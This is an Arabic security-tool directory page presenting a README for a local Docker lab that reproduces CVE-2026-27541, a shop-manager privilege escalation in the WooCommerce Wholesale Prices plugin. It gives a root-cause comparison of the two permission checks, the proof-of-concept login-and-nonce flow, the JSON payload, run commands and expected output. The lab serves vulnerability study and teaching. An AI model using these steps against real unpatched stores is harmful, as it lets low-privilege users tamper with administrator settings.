Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-27541-Analysis-Lab — مختبر Docker لإعادة إنتاج CVE-2026-27541، وهو تصعيد صلاحيات مُصادق عليه في WooCommerce Wholesale Prices. يقارن بين البنيات الثغرة والمصححة، ويتضمن سكربت PoC وتحليل السبب الجذري. | Kitploit
أدوات/GitHubGitHub/rootdirective-sec/cve-2026-27541-analysis-lab
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubrootdirective-sec/cve-2026-27541-analysis-lab

CVE-2026-27541-Analysis-Lab

مختبر Docker لإعادة إنتاج CVE-2026-27541، وهو تصعيد صلاحيات مُصادق عليه في WooCommerce Wholesale Prices. يقارن بين البنيات الثغرة والمصححة، ويتضمن سكربت PoC وتحليل السبب الجذري.

عرض المستودع
منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-27541 — مختبر تصعيد الصلاحيات المُوثَّق في WooCommerce Wholesale Prices

vulnx

نظرة عامة

هذا المشروع عبارة عن مختبر Docker محلي لتحليل وإعادة إنتاج سلوك CVE-2026-27541 في إضافة WooCommerce Wholesale Prices / Wholesale Suite من خلال مقارنة الإصدارات الهشّة والمُصحَّحة جنبًا إلى جنب على نفس الجهاز.

المشكلة الأساسية هي التحكم المكسور في الوصول (Broken Access Control) في نقطة نهاية REST API التالية:

root@kitploit:~
/wp-json/wwp/v1/admin/save

استنادًا إلى الكود المصدري المستخدم في هذا المختبر، يحتوي هذا المسار بالفعل على permission_callback في كل من الإصدارين الهشّ والمُصحَّح. ومع ذلك، يستخدم الإصدار المتأثر فحص صلاحيات واسعًا جدًا لإجراء كتابة إعدادات المسؤول:

  • الهشّ (2.2.6) ← current_user_can( 'manage_woocommerce' )
  • المُصحَّح (2.2.7) ← current_user_can( 'manage_options' )
  • في هذا المختبر، المستخدم shopmgr، الذي يمتلك دور shop_manager، لديه manage_woocommerce=true ولكن ليس manage_options. ونتيجة لذلك، يمكن لهذا المستخدم منخفض الصلاحيات استخدام جلسة تسجيل دخول صالحة بالإضافة إلى X-WP-Nonce صالح لاستدعاء نقطة نهاية حفظ إعدادات المسؤول على الإصدار الهشّ، بينما يُرجع الإصدار المُصحَّح 403 rest_forbidden لنفس الطلب.


    ما الذي يثبته هذا المختبر

    • العقدة الهشّة (2.2.6): يمكن للمستخدم shopmgr استدعاء POST /wp-json/wwp/v1/admin/save بنجاح وتعديل إعدادات الإضافة.
    • العقدة المُصحَّحة (2.2.7): يتم رفض نفس الطلب من shopmgr برمز 403.
    • طلب بدون مصادقة: إذا تم استدعاء نقطة النهاية مباشرة بدون مصادقة، يُرجع كلا الإصدارين 403، وهو ما يتوافق مع كون هذه مشكلة تصعيد صلاحيات بعد المصادقة.
    • إثبات الاستمرارية: بعد تشغيل PoC ناجح، يخزّن الإصدار الهشّ خيار ووردبريس wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC، بينما لا يزال الإصدار المُصحَّح يُرجع See wholesale prices.

    هيكل المختبر

    الخدمات

    • vuln ← ووردبريس + WooCommerce + WooCommerce Wholesale Prices 2.2.6
    • patched ← ووردبريس + WooCommerce + WooCommerce Wholesale Prices 2.2.7
    • db-vuln / db-patched ← قواعد بيانات MariaDB منفصلة
    • seed-vuln / seed-patched ← وظائف تهيئة wp-cli التي تثبّت ووردبريس، وتثبّت الإضافة، وتنشئ المستخدمين، وتنشئ منتجًا للاختبار

    المنافذ المنشورة

    • http://localhost:8081 ← الهشّ
    • http://localhost:8082 ← المُصحَّح

    الصور الأساسية

    • ووردبريس: wordpress:6.8.1-php8.2-apache
    • MariaDB: mariadb:11.4.5
    • أداة التهيئة: wordpress:cli-php8.2

    هيكل المستودع

    root@kitploit:~
    .
    ├── docker-compose.yml
    ├── README.md
    ├── patched/
    │   └── Dockerfile
    ├── vuln/
    │   └── Dockerfile
    ├── scripts/
    │   └── seed-wp.sh
    └── poc.py
    

    الملفات المهمة

    • docker-compose.yml — يحدد مجموعتي الهشّ والمُصحَّح مع قواعد بيانات منفصلة
    • scripts/seed-wp.sh — يثبّت ووردبريس وWooCommerce والإضافة المستهدفة، وينشئ مستخدمي الاختبار وبيانات المنتج
    • poc.py — PoC بأقل ضرر لتسجيل الدخول واستخراج nonce واستدعاء نقطة نهاية REST

    البيئة المُهيَّأة

    بمجرد أن تصبح المجموعة جاهزة، ينشئ سكربت التهيئة ما يلي:

    المستخدمون

    • admin / AdminPass!234
    • shopmgr / ShopMgrPass!234

    المنتج

    • slug: lab-product
    • السعر العادي: 100
    • سعر الجملة: 50

    الإصدارات

    • WooCommerce: 10.6.0

    • WooCommerce Wholesale Prices:

      • الهشّ: 2.2.6
      • المُصحَّح: 2.2.7

    يكتب السكربت أيضًا lab-secrets.json في كل حاوية ووردبريس بحيث يمكن التحقق من البيانات المُهيَّأة ومعلومات الإصدار.


    لماذا يعتبر PoC بأقل ضرر

    لا يحاول هذا الـ PoC السيطرة على الموقع، أو تغيير الأدوار، أو تثبيت إضافات، أو تنفيذ شل.

    إنه يقوم فقط بما يلي:

    1. تسجيل الدخول باسم shopmgr
    2. زيارة صفحة الإدارة ذات الصلة لاستخراج wpApiSettings.nonce
    3. إرسال طلب إلى نقطة النهاية المستهدفة
    4. تغيير قيمة إعداد يسهل ملاحظته:
    root@kitploit:~
    wwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
    

    يُستخدم هذا الإعداد كعلامة قابلة للملاحظة لإثبات أن مستخدمًا منخفض الصلاحيات يمكنه تعديل تكوين مخصص للمسؤول فقط.


    ملخص الثغرة

    المكوّن المتأثر

    • الإضافة: WooCommerce Wholesale Prices / Wholesale Suite
    • المسار: POST /wp-json/wwp/v1/admin/save

    فئة الثغرة

    • التحكم المكسور في الوصول (Broken Access Control)
    • تصعيد الصلاحيات المُوثَّق (Authenticated Privilege Escalation)

    المعنى العملي

    على الرغم من أن نقطة النهاية تتطلب جلسة صالحة وnonce، إلا أن الإصدار الهشّ لا يزال يسمح لمستخدم منخفض الصلاحيات مثل shopmgr بدور shop_manager باستدعاء نقطة نهاية يجب أن تكون مخصصة للمسؤول فقط.

    فارق مهم

    هذه ليست ثغرة بدون مصادقة.

    إذا تم استدعاء نقطة النهاية مباشرة بدون جلسة تسجيل دخول، يرفض كل من الإصدارين الهشّ والمُصحَّح الطلب. الخلل موجود في التفويض بعد المصادقة، وليس في المصادقة نفسها.


    تحليل السبب الجذري

    الإصدار الهشّ لا يفتقر إلى permission_callback. الخلل هو أنه يستخدم فحص صلاحيات واسعًا جدًا (manage_woocommerce) لإجراء REST يكتب إعدادات جانب المسؤول.

    من الكود المصدري في includes/class-wwp-admin-settings.php:

    • يسجّل كل من الإصدارين الهشّ والمُصحَّح نفس المسار: POST /wp-json/wwp/v1/admin/save
    • يوجّه كلا الإصدارين إلى save_registered_settings()
    • يستخدم كلا الإصدارين permission_admin_check() كـ permission_callback
    • الفرق الحقيقي هو الصلاحية التي يتم فحصها

    الهشّ (2.2.6)

    root@kitploit:~
    if ( ! current_user_can( 'manage_woocommerce' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    المُصحَّح (2.2.7)

    root@kitploit:~
    if ( ! current_user_can( 'manage_options' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    في هذا المختبر، المستخدم shopmgr، الذي يمتلك دور shop_manager، لديه manage_woocommerce=true ولكن ليس manage_options، لذلك يجتاز الفحص الهشّ لكنه يفشل في الفحص المُصحَّح.

    ما الذي تغيّر في السلوك المُصحَّح

    الإصدار المُصحَّح لا يكتفي بتغيير الاستجابة من 200 إلى 403. إنه يغيّر منطق التحكم في الوصول من خلال تشديد متطلب الصلاحية من manage_woocommerce إلى manage_options.

    بالإضافة إلى ذلك، يتم تعزيز مسار الحفظ في الإصدار المُصحَّح بشكل أكبر من خلال الانتقال من التصفية القائمة على البادئات إلى قوائم السماح الصريحة وتعقيم أقوى.

    لماذا ينجح الـ PoC على الإصدار الهشّ

    يتبع الـ PoC نفس التدفق كسياق متصفح حقيقي:

    • تسجيل الدخول باسم shopmgr
    • فتح صفحة إعدادات الإضافة
    • استخراج wpApiSettings.nonce
    • استدعاء POST /wp-json/wwp/v1/admin/save

    لأن الإصدار الهشّ يسمح للمستخدمين الذين لديهم manage_woocommerce باستدعاء إجراء كتابة الإعدادات هذا، ينجح الطلب ويؤدي إلى تغيير خيار دائم.

    الدرس الأمني

    يساعد الـ nonce في الحماية من CSRF، لكنه ليس عنصر تحكم في التفويض.

    امتلاك جلسة صالحة وnonce صالح لا يعني أنه يجب السماح للمستخدم بتنفيذ إجراء إداري. استخدام صلاحية واسعة جدًا على نقطة نهاية مميزة كافٍ لإنشاء تجاوز تفويض منخفض الصلاحيات.


    إعادة إنتاج المختبر

    المتطلبات الأساسية

    • Docker Desktop / Docker Engine
    • Docker Compose v2
    • Python 3
    • وصول إلى الإنترنت لتنزيل الصور والإضافة الأولية

    1) تشغيل المختبر

    root@kitploit:~
    docker compose up -d --build
    

    2) تأكيد أن الحاويات تعمل

    root@kitploit:~
    docker compose ps
    

    يجب أن ترى على الأقل:

    • cve-2026-27541-vuln-1
    • cve-2026-27541-patched-1
    • cve-2026-27541-db-vuln-1
    • cve-2026-27541-db-patched-1

    3) مراقبة سجلات التهيئة

    root@kitploit:~
    docker compose logs -f seed-vuln seed-patched
    

    4) فحص البيانات الوصفية المُهيَّأة

    root@kitploit:~
    docker compose exec vuln cat /var/www/html/lab-secrets.json
    docker compose exec patched cat /var/www/html/lab-secrets.json
    

    شرح خطوات الـ PoC

    يعمل poc.py على النحو التالي:

    1. GET /wp-login.php

    2. POST /wp-login.php لإنشاء جلسة مُوثَّقة

    3. فتح صفحة إدارة الإضافة:

      root@kitploit:~
      /wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
      
    4. استخراج wpApiSettings.nonce وجذر REST من HTML/JavaScript

    5. إرسال طلب إلى:

      root@kitploit:~
      /wp-json/wwp/v1/admin/save
      
    6. إرسال الحمولة:

    root@kitploit:~
    [
      {
        "key": "wwp_see_wholesale_prices_replacement_text",
        "value": "PWNED_BY_POC"
      }
    ]
    

    تشغيل الـ PoC

    العقدة الهشّة

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8081 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    العقدة المُصحَّحة

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8082 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    النتائج المتوقعة

    الهشّ (8081)

    المخرجات المتوقعة:

    root@kitploit:~
    [+] Base URL: http://localhost:8081
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: b6b6add11b
    [+] REST root: http://localhost:8081/wp-json/
    [+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
    [+] HTTP status: 200
    {"status":"success","message":"Settings saved successfully."}
    [+] PoC SUCCESS (pwnd)
    [*] Verify via incognito (not logged in):
        - Open product page
        - Look for: PWNED_BY_POC
    

    المُصحَّح (8082)

    المخرجات المتوقعة:

    root@kitploit:~
    [+] Base URL: http://localhost:8082
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: 5c4ef2ac6f
    [+] REST root: http://localhost:8082/wp-json/
    [+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
    [+] HTTP status: 403
    {"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
    [-] PoC failed
    

    التحقق اليدوي

    التحقق عبر الواجهة

    بعد نجاح الـ PoC على العقدة الهشّة:

    1. سجّل الخروج أو افتح نافذة تصفح خاص
    2. افتح صفحة المنتج أو صفحة المتجر التي تعرض نص الاستبدال
    3. ابحث عن:
    root@kitploit:~
    PWNED_BY_POC
    

    الأثر الأمني

    الأثر العملي لهذه الفئة من الثغرات هو أن مستخدمًا منخفض الصلاحيات يمكنه تعديل تكوين يجب أن يكون مخصصًا للمسؤول فقط، مما قد يؤدي مباشرة إلى:

    • العبث بالمحتوى
    • التلاعب برسائل الواجهة الأمامية
    • إساءة استخدام منطق الأعمال

    يستخدم هذا المختبر عمدًا حمولة آمنة وقابلة للملاحظة لتجنب تغييرات الأدوار أو أي تصعيد يتجاوز ما هو مطلوب لإثبات حالة الثغرة.


    التنظيف

    root@kitploit:~
    docker compose down -v
    

    ملاحظات السلامة

    • للاستخدام المخبري المحلي فقط
    • جميع الخدمات مرتبطة بـ localhost فقط
    • الـ PoC بأقل ضرر عمدًا ويستخدم قيمة قابلة للملاحظة وغير ضارة
    • لا تقم بتكييف هذا الـ PoC للاستخدام ضد أنظمة لا تملكها أو ليس لديك إذن باختبارها

    المراجع

    • سجل CVE — CVE-2026-27541
    • Wordfence — Wholesale Suite <= 2.2.6 - Authenticated (Shop Manager) Privilege Escalation
    • صفحة الإضافة على WordPress.org — Wholesale Suite – B2B, Dynamic Pricing & WooCommerce Wholesale Prices

    TL;DR

    يُظهر هذا المختبر أن CVE-2026-27541 هو تجاوز تفويض مُوثَّق منخفض الصلاحيات في نقطة نهاية إعدادات REST API الخاصة بالإضافة. الخلل في الإصدار 2.2.6 ليس غياب فحص الصلاحيات، بل استخدام صلاحية واسعة جدًا (manage_woocommerce) لإجراء يجب تقييده بمستوى manage_options.

    في هذه البيئة المحلية:

    • يجتاز shopmgr الفحص الهشّ ويمكنه تعديل إعدادات جانب المسؤول بنجاح عبر POST /wp-json/wwp/v1/admin/save
    • يتم حظر نفس الطلب على 2.2.7
    • يخزّن الإصدار الهشّ PWNED_BY_POC في الخيار المستهدف، بينما لا يفعل الإصدار المُصحَّح ذلك

    ونتيجة لذلك، يعمل هذا المستودع كإثبات سلوكي وإثبات قائم على الكود للفرق بين الهشّ والمُصحَّح في بيئة محلية خاضعة للتحكم الكامل.

    تنزيل الأداة